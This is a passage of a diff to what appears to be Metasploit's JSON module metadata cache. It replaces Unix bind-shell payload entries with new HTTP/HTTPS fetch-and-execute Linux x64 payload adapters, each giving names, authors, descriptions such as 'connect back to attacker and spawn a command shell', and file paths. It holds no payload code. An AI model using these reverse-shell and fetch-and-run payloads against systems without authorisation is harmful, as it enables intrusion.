"fullname": "payload/cmd/unix/bind_inetd", + "payload_cmd/linux/http/x64/shell/bind_tcp": { + "name": "HTTP Fetch, Linux Command Shell, Bind TCP Stager", + "fullname": "payload/cmd/linux/http/x64/shell/bind_tcp", "aliases": [ ], @@ -176786,22 +176796,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm " + "Brendan Watters", + "ricky" ], - "description": "Listen for a connection and spawn a command shell (persistent)", + "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a command shell (staged).\n\nListen for a connection", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_inetd.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_inetd", + "ref_name": "cmd/linux/http/x64/shell/bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -176810,9 +176821,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/bind_jjs": { - "name": "Unix Command Shell, Bind TCP (via jjs)", - "fullname": "payload/cmd/unix/bind_jjs", + "payload_cmd/linux/http/x64/shell/reverse_sctp": { + "name": "HTTP Fetch, Linux Command Shell, Reverse SCTP Stager", + "fullname": "payload/cmd/linux/http/x64/shell/reverse_sctp", "aliases": [ ], @@ -176820,25 +176831,24 @@ "disclosure_date": null, "type": "payload", "author": [ - "conerpirate", - "bcoles " + "Brendan Watters", + "ricky", + "RageLtMan " ], - "description": "Listen for a connection and spawn a command shell via jjs", + "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a command shell (staged).\n\nConnect back to the attacker", "references": [ - "URL-https://gtfobins.github.io/gtfobins/jjs/", - "URL-https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/", - "URL-https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html" + ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_jjs.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_jjs", + "ref_name": "cmd/linux/http/x64/shell/reverse_sctp", "check": false, "post_auth": false, "default_credential": false, @@ -176847,9 +176857,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/bind_lua": { - "name": "Unix Command Shell, Bind TCP (via Lua)", - "fullname": "payload/cmd/unix/bind_lua", + "payload_cmd/linux/http/x64/shell/reverse_tcp": { + "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/linux/http/x64/shell/reverse_tcp", "aliases": [ ], @@ -176857,22 +176867,24 @@ "disclosure_date": null, "type": "payload", "author": [ - "xistence " + "Brendan Watters", + "ricky", + "tkmru" ], - "description": "Listen for a connection and spawn a command shell via Lua", + "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a command shell (staged).\n\nConnect back to the attacker", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_lua.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_lua", + "ref_name": "cmd/linux/http/x64/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -176881,9 +176893,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/bind_netcat": { - "name": "Unix Command Shell, Bind TCP (via netcat)", - "fullname": "payload/cmd/unix/bind_netcat", + "payload_cmd/linux/http/x64/shell_bind_ipv6_tcp": { + "name": "HTTP Fetch, Linux x64 Command Shell, Bind TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/http/x64/shell_bind_ipv6_tcp", "aliases": [ ], @@ -176891,24 +176903,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "m-1-k-3", - "egypt ", - "juan vazquez " + "Brendan Watters", + "epi " ], - "description": "Listen for a connection and spawn a command shell via netcat", + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for an IPv6 connection and spawn a command shell", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_netcat.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_netcat", + "ref_name": "cmd/linux/http/x64/shell_bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -176917,9 +176928,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/bind_netcat_gaping": { - "name": "Unix Command Shell, Bind TCP (via netcat -e)", - "fullname": "payload/cmd/unix/bind_netcat_gaping", + "payload_cmd/linux/http/x64/shell_bind_tcp": { + "name": "HTTP Fetch, Linux Command Shell, Bind TCP Inline", + "fullname": "payload/cmd/linux/http/x64/shell_bind_tcp", "aliases": [ ], @@ -176927,22 +176938,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm " + "Brendan Watters", + "ricky" ], - "description": "Listen for a connection and spawn a command shell via netcat", + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for a connection and spawn a command shell", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_netcat_gaping", + "ref_name": "cmd/linux/http/x64/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -176951,9 +176963,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/bind_netcat_gaping_ipv6": { - "name": "Unix Command Shell, Bind TCP (via netcat -e) IPv6", - "fullname": "payload/cmd/unix/bind_netcat_gaping_ipv6", + "payload_cmd/linux/http/x64/shell_bind_tcp_random_port": { + "name": "HTTP Fetch, Linux Command Shell, Bind TCP Random Port Inline", + "fullname": "payload/cmd/linux/http/x64/shell_bind_tcp_random_port", "aliases": [ ], @@ -176961,22 +176973,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm " + "Brendan Watters", + "Geyslan G. Bem " ], - "description": "Listen for a connection and spawn a command shell via netcat", + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for a connection in a random port and spawn a command shell.\nUse nmap to discover the open port: 'nmap -sS target -p-'.", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_netcat_gaping_ipv6", + "ref_name": "cmd/linux/http/x64/shell_bind_tcp_random_port", "check": false, "post_auth": false, "default_credential": false, @@ -176985,9 +176998,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/bind_nodejs": { - "name": "Unix Command Shell, Bind TCP (via nodejs)", - "fullname": "payload/cmd/unix/bind_nodejs", + "payload_cmd/linux/http/x64/shell_find_port": { + "name": "HTTP Fetch, Linux Command Shell, Find Port Inline", + "fullname": "payload/cmd/linux/http/x64/shell_find_port", "aliases": [ ], @@ -176995,22 +177008,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "joev " + "Brendan Watters", + "mak" ], - "description": "Continually listen for a connection and spawn a command shell via nodejs", + "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a shell on an established connection", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_nodejs.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_nodejs", + "ref_name": "cmd/linux/http/x64/shell_find_port", "check": false, "post_auth": false, "default_credential": false, @@ -177019,9 +177033,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/bind_perl": { - "name": "Unix Command Shell, Bind TCP (via Perl)", - "fullname": "payload/cmd/unix/bind_perl", + "payload_cmd/linux/http/x64/shell_reverse_ipv6_tcp": { + "name": "HTTP Fetch, Linux x64 Command Shell, Reverse TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/http/x64/shell_reverse_ipv6_tcp", "aliases": [ ], @@ -177029,23 +177043,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "Samy ", - "cazz " + "Brendan Watters", + "epi " ], - "description": "Listen for a connection and spawn a command shell via perl", + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to attacker and spawn a command shell over IPv6", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_perl.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_perl", + "ref_name": "cmd/linux/http/x64/shell_reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -177054,9 +177068,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/bind_perl_ipv6": { - "name": "Unix Command Shell, Bind TCP (via perl) IPv6", - "fullname": "payload/cmd/unix/bind_perl_ipv6", + "payload_cmd/linux/http/x64/shell_reverse_tcp": { + "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline", + "fullname": "payload/cmd/linux/http/x64/shell_reverse_tcp", "aliases": [ ], @@ -177064,23 +177078,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "Samy ", - "cazz " + "Brendan Watters", + "ricky" ], - "description": "Listen for a connection and spawn a command shell via perl", + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to attacker and spawn a command shell", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_perl_ipv6", + "ref_name": "cmd/linux/http/x64/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -177089,9 +177103,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/bind_r": { - "name": "Unix Command Shell, Bind TCP (via R)", - "fullname": "payload/cmd/unix/bind_r", + "payload_cmd/linux/https/x64/exec": { + "name": "HTTPS Fetch, Linux Execute Command", + "fullname": "payload/cmd/linux/https/x64/exec", "aliases": [ ], @@ -177099,22 +177113,24 @@ "disclosure_date": null, "type": "payload", "author": [ - "RageLtMan " + "Brendan Watters", + "ricky", + "Geyslan G. Bem " ], - "description": "Continually listen for a connection and spawn a command shell via R", + "description": "Fetch and Execute an x64 payload from an https server.\n\nExecute an arbitrary command or just a /bin/sh shell", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_r.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_r", + "ref_name": "cmd/linux/https/x64/exec", "check": false, "post_auth": false, "default_credential": false, @@ -177123,9 +177139,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/bind_ruby": { - "name": "Unix Command Shell, Bind TCP (via Ruby)", - "fullname": "payload/cmd/unix/bind_ruby", + "payload_cmd/linux/https/x64/meterpreter/bind_tcp": { + "name": "HTTPS Fetch, Bind TCP Stager", + "fullname": "payload/cmd/linux/https/x64/meterpreter/bind_tcp", "aliases": [ ], @@ -177133,22 +177149,24 @@ "disclosure_date": null, "type": "payload", "author": [ - "kris katterjohn " + "Brendan Watters", + "Brent Cook ", + "ricky" ], - "description": "Continually listen for a connection and spawn a command shell via Ruby", + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for a connection", "references": [ ], - "platform": "Unix", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_ruby.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_ruby", + "ref_name": "cmd/linux/https/x64/meterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -177157,9 +177175,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/bind_ruby_ipv6": { - "name": "Unix Command Shell, Bind TCP (via Ruby) IPv6", - "fullname": "payload/cmd/unix/bind_ruby_ipv6", + "payload_cmd/linux/https/x64/meterpreter/reverse_sctp": { + "name": "HTTPS Fetch, Reverse SCTP Stager", + "fullname": "payload/cmd/linux/https/x64/meterpreter/reverse_sctp", "aliases": [ ], @@ -177167,22 +177185,24 @@ "disclosure_date": null, "type": "payload", "author": [ - "kris katterjohn " + "Brendan Watters", + "Brent Cook ", + "RageLtMan " ], - "description": "Continually listen for a connection and spawn a command shell via Ruby", + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker", "references": [ ], - "platform": "Unix", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_ruby_ipv6", + "ref_name": "cmd/linux/https/x64/meterpreter/reverse_sctp", "check": false, "post_auth": false, "default_credential": false, @@ -177191,9 +177211,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/bind_socat_sctp": { - "name": "Unix Command Shell, Bind SCTP (via socat)", - "fullname": "payload/cmd/unix/bind_socat_sctp", + "payload_cmd/linux/https/x64/meterpreter/reverse_tcp": { + "name": "HTTPS Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/https/x64/meterpreter/reverse_tcp", "aliases": [ ], @@ -177201,22 +177221,25 @@ "disclosure_date": null, "type": "payload", "author": [ - "RageLtMan " + "Brendan Watters", + "Brent Cook ", + "ricky", + "tkmru" ], - "description": "Creates an interactive shell via socat", + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker", "references": [ ], - "platform": "Unix", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-04-27 16:21:34 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_socat_sctp.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_socat_sctp", + "ref_name": "cmd/linux/https/x64/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -177225,9 +177248,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/bind_socat_udp": { - "name": "Unix Command Shell, Bind UDP (via socat)", - "fullname": "payload/cmd/unix/bind_socat_udp", + "payload_cmd/linux/https/x64/pingback_bind_tcp": { + "name": "HTTPS Fetch, Linux x64 Pingback, Bind TCP Inline", + "fullname": "payload/cmd/linux/https/x64/pingback_bind_tcp", "aliases": [ ], @@ -177235,22 +177258,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "RageLtMan " + "Brendan Watters", + "bwatters-r7" ], - "description": "Creates an interactive shell via socat", + "description": "Fetch and Execute an x64 payload from an https server.\n\nAccept a connection from attacker and report UUID (Linux x64)", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_socat_udp.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_socat_udp", + "ref_name": "cmd/linux/https/x64/pingback_bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -177259,9 +177283,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/bind_stub": { - "name": "Unix Command Shell, Bind TCP (stub)", - "fullname": "payload/cmd/unix/bind_stub", + "payload_cmd/linux/https/x64/pingback_reverse_tcp": { + "name": "HTTPS Fetch, Linux x64 Pingback, Reverse TCP Inline", + "fullname": "payload/cmd/linux/https/x64/pingback_reverse_tcp", "aliases": [ ], @@ -177269,22 +177293,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm " + "Brendan Watters", + "bwatters-r7" ], - "description": "Listen for a connection and spawn a command shell (stub only, no payload)", + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to attacker and report UUID (Linux x64)", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_stub.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_stub", + "ref_name": "cmd/linux/https/x64/pingback_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -177293,9 +177318,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/bind_zsh": { - "name": "Unix Command Shell, Bind TCP (via Zsh)", - "fullname": "payload/cmd/unix/bind_zsh", + "payload_cmd/linux/https/x64/shell/bind_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Stager", + "fullname": "payload/cmd/linux/https/x64/shell/bind_tcp", "aliases": [ ], @@ -177303,23 +177328,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "Doug Prostko ", - "Wang Yihang " + "Brendan Watters", + "ricky" ], - "description": "Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is\n often available, please be aware it isn't usually installed by default.", + "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a command shell (staged).\n\nListen for a connection", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_zsh.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_zsh", + "ref_name": "cmd/linux/https/x64/shell/bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -177328,9 +177353,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/generic": { - "name": "Unix Command, Generic Command Execution", - "fullname": "payload/cmd/unix/generic", + "payload_cmd/linux/https/x64/shell/reverse_sctp": { + "name": "HTTPS Fetch, Linux Command Shell, Reverse SCTP Stager", + "fullname": "payload/cmd/linux/https/x64/shell/reverse_sctp", "aliases": [ ], @@ -177338,22 +177363,24 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm " + "Brendan Watters", + "ricky", + "RageLtMan " ], - "description": "Executes the supplied command", + "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a command shell (staged).\n\nConnect back to the attacker", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/unix/generic.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/generic", + "ref_name": "cmd/linux/https/x64/shell/reverse_sctp", "check": false, "post_auth": false, "default_credential": false, @@ -177362,9 +177389,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/interact": { - "name": "Unix Command, Interact with Established Connection", - "fullname": "payload/cmd/unix/interact", + "payload_cmd/linux/https/x64/shell/reverse_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/linux/https/x64/shell/reverse_tcp", "aliases": [ ], @@ -177372,22 +177399,24 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm " + "Brendan Watters", + "ricky", + "tkmru" ], - "description": "Interacts with a shell on an established socket connection", + "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a command shell (staged).\n\nConnect back to the attacker", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", - "path": "/modules/payloads/singles/cmd/unix/interact.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/interact", + "ref_name": "cmd/linux/https/x64/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -177396,9 +177425,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/pingback_bind": { - "name": "Unix Command Shell, Pingback Bind TCP (via netcat)", - "fullname": "payload/cmd/unix/pingback_bind", + "payload_cmd/linux/https/x64/shell_bind_ipv6_tcp": { + "name": "HTTPS Fetch, Linux x64 Command Shell, Bind TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/https/x64/shell_bind_ipv6_tcp", "aliases": [ ], @@ -177406,22 +177435,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "asoto-r7" + "Brendan Watters", + "epi " ], - "description": "Accept a connection, send a UUID, then exit", + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for an IPv6 connection and spawn a command shell", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/pingback_bind.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/pingback_bind", + "ref_name": "cmd/linux/https/x64/shell_bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -177430,9 +177460,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/pingback_reverse": { - "name": "Unix Command Shell, Pingback Reverse TCP (via netcat)", - "fullname": "payload/cmd/unix/pingback_reverse", + "payload_cmd/linux/https/x64/shell_bind_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Inline", + "fullname": "payload/cmd/linux/https/x64/shell_bind_tcp", "aliases": [ ], @@ -177440,22 +177470,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "asoto-r7" + "Brendan Watters", + "ricky" ], - "description": "Creates a socket, send a UUID, then exit", + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for a connection and spawn a command shell", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/pingback_reverse.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/pingback_reverse", + "ref_name": "cmd/linux/https/x64/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -177464,9 +177495,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/python/meterpreter/bind_tcp": { - "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager", - "fullname": "payload/cmd/unix/python/meterpreter/bind_tcp", + "payload_cmd/linux/https/x64/shell_bind_tcp_random_port": { + "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Random Port Inline", + "fullname": "payload/cmd/linux/https/x64/shell_bind_tcp_random_port", "aliases": [ ], @@ -177474,22 +177505,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "Geyslan G. Bem " ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection", + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for a connection in a random port and spawn a command shell.\nUse nmap to discover the open port: 'nmap -sS target -p-'.", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/meterpreter/bind_tcp", + "ref_name": "cmd/linux/https/x64/shell_bind_tcp_random_port", "check": false, "post_auth": false, "default_credential": false, @@ -177498,9 +177530,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/python/meterpreter/bind_tcp_uuid": { - "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support", - "fullname": "payload/cmd/unix/python/meterpreter/bind_tcp_uuid", + "payload_cmd/linux/https/x64/shell_find_port": { + "name": "HTTPS Fetch, Linux Command Shell, Find Port Inline", + "fullname": "payload/cmd/linux/https/x64/shell_find_port", "aliases": [ ], @@ -177508,23 +177540,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "OJ Reeves" + "Brendan Watters", + "mak" ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection with UUID Support", + "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a shell on an established connection", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/meterpreter/bind_tcp_uuid", + "ref_name": "cmd/linux/https/x64/shell_find_port", "check": false, "post_auth": false, "default_credential": false, @@ -177533,9 +177565,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/python/meterpreter/reverse_http": { - "name": "Python Exec, Python Meterpreter, Python Reverse HTTP Stager", - "fullname": "payload/cmd/unix/python/meterpreter/reverse_http", + "payload_cmd/linux/https/x64/shell_reverse_ipv6_tcp": { + "name": "HTTPS Fetch, Linux x64 Command Shell, Reverse TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/https/x64/shell_reverse_ipv6_tcp", "aliases": [ ], @@ -177543,22 +177575,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "epi " ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP", + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to attacker and spawn a command shell over IPv6", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/meterpreter/reverse_http", + "ref_name": "cmd/linux/https/x64/shell_reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -177567,9 +177600,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/python/meterpreter/reverse_https": { - "name": "Python Exec, Python Meterpreter, Python Reverse HTTPS Stager", - "fullname": "payload/cmd/unix/python/meterpreter/reverse_https", + "payload_cmd/linux/https/x64/shell_reverse_tcp": { + "name": 